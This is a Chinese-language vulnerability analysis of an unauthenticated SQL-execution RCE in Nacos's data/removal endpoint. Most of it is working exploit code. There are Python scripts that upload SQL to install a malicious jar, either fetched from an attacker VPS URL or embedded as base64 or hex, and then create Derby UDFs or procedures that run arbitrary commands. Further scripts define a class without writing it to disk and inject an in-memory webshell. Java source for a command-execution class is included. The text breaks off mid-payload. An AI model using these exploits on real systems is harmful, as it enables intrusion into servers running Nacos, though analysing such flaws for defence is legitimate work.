一、漏洞简介

​ nacos 是一个开源的微服务发现、管理、配置平台, /nacos/v1/cs/ops/data/removal接口可以未授权访问,此接口可以执行用户上传文件的任意SQL语句,导致RCE漏洞。

二、影响版本

​ <= v2.4.0

​ <= v2.3.2

三、环境搭建

​ 使用 vulhub 的docker 环境,8848 为nacos端口,5005为远程调试端口。

version: "2"
services:
  web:
    image: vulhub/nacos:1.4.0
    ports:
      - "8848:8848"
      - "5005:5005"

四、漏洞原理分析

​ 在接口 /nacos/v1/cs/ops/data/removal 中下断点,可以看到用户上传的文件传入了 WebUtils.onFileUpload 方法

​ 跟进 WebUtils.onFileUpload 方法,创建了一个临时文件,然后将临时文件传给consumer.accept方法,此方法作为消费者异步读取使用临时文件,然后finally删除临时文件,此处存在bug,可能在读取临时文件前就被删除了,所以在POC中需要通过条件竞争,多次上传文件,在删除文件前读取到上传的文件内容。

​ 继续执行,查看上面消费者使用临时文件的过程,此处是一个lambda表达式,临时文件被传入了databaseOperate.dataImport方法

​ 跟进databaseOperate.dataImport方法,即com\alibaba\nacos\config\server\service\repository\embedded\StandaloneDatabaseOperateImpl.java#dataImport,对临时文件每一行内容进行了读取,然后doDataImport(jdbcTemplate, sqls)执行了文件中每行的SQL

五、漏洞复现

​ POC如下,命令行执行 python poc.py -t http://your-ip:8848 -s http://vps-ip/evil.jar -c "ps aux"

import random
import sys
import requests
from urllib.parse import urljoin
import argparse


def exploit(target, command, service):  
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = f"""CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
"""
        get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp /*ROWS FETCH NEXT*/"
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break


def main():
    parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    parser.add_argument('-s', '--service', required=True, help='Service URL')
    
    args = parser.parse_args()
    
    exploit(args.target, args.command, args.service)

if __name__ == '__main__':
    main()

​ 恶意jar包可将如下java文件编译后打包为evil.jar

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//

package test.poc;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.io.StringWriter;

public class Example {
    public Example() {
    }

    public static void main(String[] args) {
        String ret = exec("ipconfig");
        System.out.println(ret);
    }

    public static String exec(String cmd) {
        StringBuffer bf = new StringBuffer();

        try {
            String charset = "utf-8";
            String osName = System.getProperty("os.name");
            if (osName != null && osName.startsWith("Windows")) {
                charset = "gbk";
            }

            Process p = Runtime.getRuntime().exec(cmd);
            InputStream fis = p.getInputStream();
            InputStreamReader isr = new InputStreamReader(fis, charset);
            BufferedReader br = new BufferedReader(isr);
            String line = null;

            while((line = br.readLine()) != null) {
                bf.append(line);
            }
        } catch (Exception var10) {
            StringWriter writer = new StringWriter();
            PrintWriter printer = new PrintWriter(writer);
            var10.printStackTrace(printer);

            try {
                writer.close();
                printer.close();
            } catch (IOException var9) {
            }

            return "ERROR:" + writer.toString();
        }

        return bf.toString();
    }
}

六、不出网利用

  1. 通过 data/removal接口创建 UDF 命令执行函数,然后使用 /nacos/v1/cs/ops/derby(CVE-2021-29442)接口执行UDF函数,执行命令示例python poc.py -t http://127.0.0.1:8848 -c "touch /tmp/mtcz91"
import random
import sys
import requests
from urllib.parse import urljoin
import argparse
import base64


def exploit(target, command): 
    #base64编码的恶意类
    payload = b'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' 
    payload = base64.b64decode(payload).hex()
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = f"""
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/evil', ',' ,'"', 'UTF-8', '/tmp/evil.jar')
        CALL sqlj.install_jar('/tmp/evil.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
        """
        get_sql = f"select * from (select count(*) as b, S_EXAMPLE_{id}('{command}') as a from config_info) tmp /*ROWS FETCH NEXT*/"
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break


def main():
    parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    
    args = parser.parse_args()
    
    exploit(args.target, args.command)

if __name__ == '__main__':
    main()
  1. 通过data/removal接口创建存储过程,然后调用存储过程执行命令,此处需要注意test.poc.Example.exec返回值类型为void,执行命令示例python poc.py -t http://127.0.0.1:8848 -c "touch /tmp/mtcz91"
import random
import sys
import requests
from urllib.parse import urljoin
import argparse
import base64


def exploit(target, command): 
    #base64编码的恶意类
    payload = b'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' 
    payload = base64.b64decode(payload).hex()
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = f"""
        CALL SYSCS_UTIL.SYSCS_EXPORT_QUERY_LOBS_TO_EXTFILE('values CAST (X''{payload}'' AS BLOB)', '/tmp/evil', ',' ,'"', 'UTF-8', '/tmp/evil.jar')
        CALL sqlj.install_jar('/tmp/evil.jar', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
        DROP PROCEDURE SALES.TOTAL_REVENUES
        CREATE PROCEDURE SALES.TOTAL_REVENUES(PARAM VARCHAR(2000)) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
        CALL SALES.TOTAL_REVENUES('{command}')
        """
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            break


def main():
    parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    
    args = parser.parse_args()
    
    exploit(args.target, args.command)

if __name__ == '__main__':
    main()

七、不落地 jar 包利用

​ 通过data/removal接口创建defineClass方法,传入base64编码的类字节码,创建恶意类并执行恶意类static代码块,其中包含命令执行代码。

EvilClass.java

public class EvilClass {
    static {
        try {
            Runtime.getRuntime().exec("touch /tmp/mtcz91");
        } catch (Exception e) {
            System.out.println(e);
        }
    }
}

编译并base64编码

javac MaliciousClass.java
cat MaliciousClass.class | base64

⽣成最终payload,替换{class_name} 与{class_code}

poc.py

import random
import sys
import requests
from urllib.parse import urljoin
import argparse
import base64


def exploit(target, command): 
    #base64编码的恶意类
    class_code = 'yv66vgAAADQAKgoACQATCgAUABUIABYKABQAFwcAGAkAGQAaCgAbABwHAB0HAB4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwAYAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAAKAAsHAB8MACAAIQEAEXRvdWNoIC90bXAvbXRjejkxDAAiACMBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwAkDAAlACYHACcMACgAKQEACUV2aWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvT2JqZWN0OylWACEACAAJAAAAAAACAAEACgALAAEADAAAAB0AAQABAAAABSq3AAGxAAAAAQANAAAABgABAAAAAQAIAA4ACwABAAwAAABSAAIAAQAAABW4AAISA7YABFenAAtLsgAGKrYAB7EAAQAAAAkADAAFAAIADQAAABYABQAAAAQACQAHAAwABQANAAYAFAAIAA8AAAAHAAJMBwAQBwABABEAAAACABI=' 
    class_name = 'EvilClass'
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = f"""create type typeClass external name 'java.lang.Class' language java
create type typeClassLoader external name 'java.lang.ClassLoader' language java
create function base64Decode(className VARCHAR(32672)) returns VARCHAR(32672) FOR BIT DATA external name 'org.springframework.util.Base64Utils.decodeFromString' language java parameter style java
create function getSystemClassLoader() returns typeClassLoader external name 'java.lang.ClassLoader.getSystemClassLoader' language java parameter style java
create function defineClass(className VARCHAR(32672),bytes VARCHAR(32672) FOR BIT DATA,loader typeClassLoader) returns typeClass external name 'org.springframework.cglib.core.ReflectUtils.defineClass(java.lang.String, byte[], java.lang.ClassLoader)' language java parameter style java
create table test(v typeClass)
insert into test values (defineClass('{class_name}',base64Decode('{class_code}'),getSystemClassLoader()))
"""
        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            break


def main():
    parser = argparse.ArgumentParser(description='Exploit script for Nacos CVE-2021-29442')
    parser.add_argument('-t', '--target', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='Command to execute')
    
    args = parser.parse_args()
    
    exploit(args.target, args.command)

if __name__ == '__main__':
    main()

八、注入内存马利用

​ 通过data/removal接口传入16进制编码的jar包,植入内存马。python poc.py -t http://127.0.0.1:8848 -c "touch /tmp/mtcz91"

poc.py

import random
import sys
import requests
from urllib.parse import urljoin
import argparse
import base64


def exploit(target, command): 
    #base64编码的恶意类
    payload = '504b03041400080808004160f258000000000000000000000000140004004d4554412d494e462f4d414e49464553542e4d46feca0000f34dcccb4c4b2d2ed10d4b2d2acecccfb35230d433e0e5f24dccccd375ce492c2eb65228014aeb15e427ebb95624e616e4a4f272f1720100504b07087f64045e3800000037000000504b03040a00000800004160f258000000000000000000000000040000006f72672f504b03040a00000800004160f2580000000000000000000000000d0000006f72672f61706163686567762f504b03041400080808004160f258000000000000000000000000210000006f72672f61706163686567762f5369676e61747572655574696c732e636c6173739d7909801cc775ddafbd66b0185c4b02e48017481124b8b38bb9af250c72eebbe73e6949ec99e9397baeee9e531775903a2debb22c52a22953b220d9724849ce02342c929622d291a3d872144b8962c77102598a1227ce69d212e15f3db38b5d60492a0176baabab7efdfac7fbbfaa7f7ffb95df7f16004ce473fbe0bfc3df29e17f2cc3ff84ffa584ffad84ffa380ffab84bf5f8625786919cec2cbcbd0817fd80f3f839fef8757e0325e08601f21f432a720f30ab2b00c47e0650559549225daab50c0a3cb701d512ac93e64449695643fed5729c901257c44410e2ec3ade4d07e72187e4e5b477021b2b20c763ae33a5c8b5caf2447298763b4f30625b95149d44a725c09ef56909b96619ddc4c476fa1a3b752ceb72d83959ca08fb7d3c73be8e50df472a7829c54c2e715e42e057c6e1fb99b9ca244f72c9355a25190b565ec59a70fa715444be9754aa2a77783921815f0d4323111336a472cf4825259e9dd462f767ad950927b29c3334af24bf47e5649ee5392fb157049491c0ae25c860c358c6b1972c4ad209e6528102fbdf87084f8e92540970b2e9310d1d0cb11ca26ac20117a6796a144dd6027512aa4921a33465b7105492c43035e5290e432f0248536a10f69eaad97092c7023ae44e0ae53e1063b60b53cdbae6a9392506f57efbde7da2ea47775ca1c8143e17a9b63faad2227a4d8228f3d2be14e89e533ac50a7cfb3cef952ab4c87f660a4aa72928b674591615b4879fda9bd97936a7591c02de18e50d5b25db654e3aa036db25e6db3525fe0d2529d1791ec103273b22267314d6722f03ca312d795ea9db6a82019024b67eaedba7416453a750f3e2af9ba28716d4ed82d5db4d8e04a123254943a6d891b4948396ba11487a7947d5c541bc6f948776cb7d6e3ee96e6775e457be6da55cee2fc0349892d35236c579e866e5190ac82e4305850056aa12d3156b6ecb373f58526373650116b75be2c706d02d7ed20f2b3620d3923dd3cd211d8bf45869d6810a92670ec55de49c97d3883a00a47770c6c5b93da663a130d72dd03d7cec558c1f8c6c855903c817ddbaea218bb5a855731ca7e543cbced9f5dd09c51ddb397cff695787632718e255c6bee0127f229731584a98c3202c777cc11b80a8f93b4114eaa75a8be8bf25c02477610c9f3a83825da0877d83215e786ab29a603a8f749cc0c48cd96cb5784bf7b0fe1f7500711a9e8c8edabad7a45bb2dc422c53e5610d8315d65db4bb24d1d5bdd48bf5c17036d3a972bbfae185b015f40c7d7f117406072833abf1d9f98ea317963d096b912c6ff34d410fd7b650d6af9199d3033bd62f6882d844347a022ed2b6ec52b06ffd5363db37a160d8ae21cac4eea5d37ce6e75058eb25a3af580535ee2e0561f5776b3128b20eff4d11cb74d59d53b5a0a04d920d1bed4ed4bb810c7b6d03073758c935baf250bb477522df5db74e96d86b27db143eb2b0462579116fb950a558eb43191630ec7f48d8842107bd1afb65fccf47bb97c1e218186aad439be3ccd928b729b807a0f2c7be9104d0a746102f7fd3faf7b35a3133bc6984eb25faac923575201dd2b4904bd5d6f0f3a4d6e1a4cf828b102ca305d1381d892fba70abcf11792ea816ba2708f90d8d3648ae96208949b1e78ad789fe3306fde7e8d82d3f19dc9ee8e1d34019ee7aa2cef289510763b8996bbacc0b65cd314b272adf4e8389902b1d29a19699fc4b5baf2a8823ca080bfc26d1a7768cce5674afc6ca75a4e76fa4289f3d6e97e72ddee3def345d42417e5905df226fc4fdaf2e87fa09b12fcb76bb82bc4945de4c1e2490bdf4c8c3977ef7533ff9d2977ff4b52f5e7af8b77ef4be8f5cfac0136b979e7ae46f3efbce8d13dede84ad71dce4c4a5cf3c7de9f187364e68db6ca9236a574f9cf8f153e77ff495775dfafcef6d9c488b9cb0eea8726d69e344b25ae1fb0ddc61d74ab5d3bd8e789aef548bb8879d76144549604b52849570971632ede164dcbd92090f5fed65b2ffc77e9318706cfd0b66725c6694d68f729a702336acb53cba52c6e14995a39d74d693f7b9d37d17c33be2f96a245d2a579bc186cec6e59d1d4d2ca2614c452f33c83342aecbf70a569d3151694a018324a50deeba90f185fbcd54a5c41b2b9c9dad485aadae9db25aad469fcf911fc5cc1a5bd46cb59bad93762eaa15ed43eb44ab350eeb698745eb1d548b0e83dfdd4a32f558d0ceb81cbd9a2124392c79bee7ed65f8a45ef2f9cb168fae1c4b59584b1afbbbd6a43b9e71e523bcb39c4e324126974efb12c57423c7588538cbeb44ae5a18f03ac117e825c446b26c088d82a351c3686af6cc83acd753efc6999654cfa45c7ddee848eb07b990c65de63b56c12195f5417dd092d21687559f55ccc4b964dbc11bba93b4dec08aacabd29652ed9e64cac7bb3aa661d76a1b9ca7e370b547762eec4ce43392542e3b4b92aed6aab992e3725e6f70e55c7667a8de3426dcc19ec63ee8b95a9962df9dafa6997025c83b12fa21670ee5fa9ce84c0d2cdd9ee4f13818bed9ce9be3e19c6f68ae18b4fca0eba9e8fb11073bb21bcc2d9faea2cb44b3d65c8f8fe624679e49ebd920d3d31b4c39879989374ded86ae1de6f950451a4de2f6fc38970cc5d3423fe7c9a5278c2fa2cf5bc4ba2111e0188f2dd1b2b4d2ad762ac0767551be36b6753dd1413b6030969a3d369befb79ac96cdfd5ea1732a22bdeb5eaaa117f81b5e68556564ab803c94c2a921c3106c790e99ac3e5be4bef6d8ec29348c8574d6473a32857add61ae5aca198119c9c29c20a567dce198e07c285d628354c16a2a3e4b815b56a4b1c5fd575bde22496f4c5a45c26d748755342952f6ab3358f68726ab3c14ac1c862f2684afd503f3f1aebeacd5abd660d194c4262c8e7c5685aa76fb5c2662d33aeb546e548256dd5657ace72c1ad37051bbd4c8129c4f26ec9dd1a5a45ab399eb479a2856e349be2f95e40cc25b3294ba310286702e3bcb1298575bc20d81db9542ddcb059c44cb4cab6ea21b3c3d4a8a41ab171d46ab6d9bdb56ed7658a562286aaab66d1c610317cb033b2391953373b1907359951d52f8e6ad660323f19b586dd51d7d0891a0c3ecdc8845889256bed418b1b97c3f66ebf6d1d1807d54ec85c081799b6a5558839cb2ebf3691cb37fca64a66d01ff2a2ae6bb145dcc550a420754d8e8cabe42b7aab1a9f10700f879d9e476ad6f5ed8ebb8ede1b7af2119da8cddabbd5d8d0604da13318175f9f7893c96ec890614362a4957697dbf65ad2c0c75dc96874e20f14dcc58ccd148fb8a3969138c9ba1923dbcb6b7d9a50ba3a341be369a6dfe9a698c1209cd16bb33aa7cfede4ab7c2dea1e9beb7d2f67b0d73cda46dfd1c1137a37e8c95afd1e3ea5b7067dc35a8fd105aa52b42334745d7b6ea2ab956aa3b4d73de944fb6e8356140af981d126e5fa15